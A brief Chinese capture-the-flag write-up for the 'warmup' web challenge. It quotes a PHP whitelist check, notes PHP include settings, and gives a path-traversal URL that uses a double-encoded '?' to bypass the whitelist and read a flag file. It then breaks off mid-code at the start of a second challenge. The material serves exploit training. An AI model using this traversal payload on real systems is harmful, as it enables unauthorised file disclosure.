攻防世界 web篇(二)
warmup
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
第一个:检查一个变量是否为空
第二个:是否为字符串
第三个:通过函数来检查
file:// 协议
条件:
allow_url_fopen:off/on
allow_url_include :off/on
include文件包含是遇到 …/…/会将以.开头,则解析器会在当前目录的父目录下寻找该文件
http://61.147.171.105:63713/source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg
favorite_number
打开页面
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff